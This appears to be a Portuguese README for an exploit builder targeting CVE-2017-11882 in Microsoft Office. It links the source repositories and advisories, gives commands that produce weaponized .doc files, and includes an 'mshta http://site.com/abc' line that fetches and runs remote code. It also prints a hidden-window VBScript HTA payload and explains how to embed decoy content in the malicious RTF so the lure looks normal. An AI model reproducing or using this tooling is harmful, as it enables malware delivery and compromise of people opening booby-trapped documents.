
CVE-2017-11882 de https://github.com/embedi/CVE-2017-11882
43b script original de https://github.com/embedi/CVE-2017-11882
109b script original de https://github.com/unamer/CVE-2017-11882/ (aplausos, agora o código do unamer já pode executar shellcode~)
CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/
MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
Research: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
Patch analysis: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html
DEMO PoC exploitation: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
use mshta
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc
abc
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
O comprimento do comando 43b não pode exceder 43 bytes, o comprimento do comando 109b não pode exceder 109 bytes
A pasta example contém um arquivo .rtf que explora a vulnerabilidade CVE-2017-11882 e executa a calculadora no sistema.
Na verdade, a técnica para conteúdo personalizado foi aprendida com outros mestres, já foi escrita em script há muito tempo, originalmente não planejava tornar público, mas como alguém do grupo já publicou, não houve escolha a não ser tornar público. Na verdade, o método é muito simples: basta abrir um documento rtf normal com um editor de texto, copiar todo o conteúdo antes de {*\datastore, e substituir o conteúdo antes de {\object\objautlink\objupdate. Portanto, é muito simples de implementar no script.
Modo de uso para adicionar conteúdo personalizado, escolha qualquer script:
python Command109b_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc -i input.rtf
O conteúdo personalizado está em input.rtf.
Quanto ao script de exploração mais recente de 605 bytes do unamer, não será atualizado. Se tiver interesse, modifique você mesmo.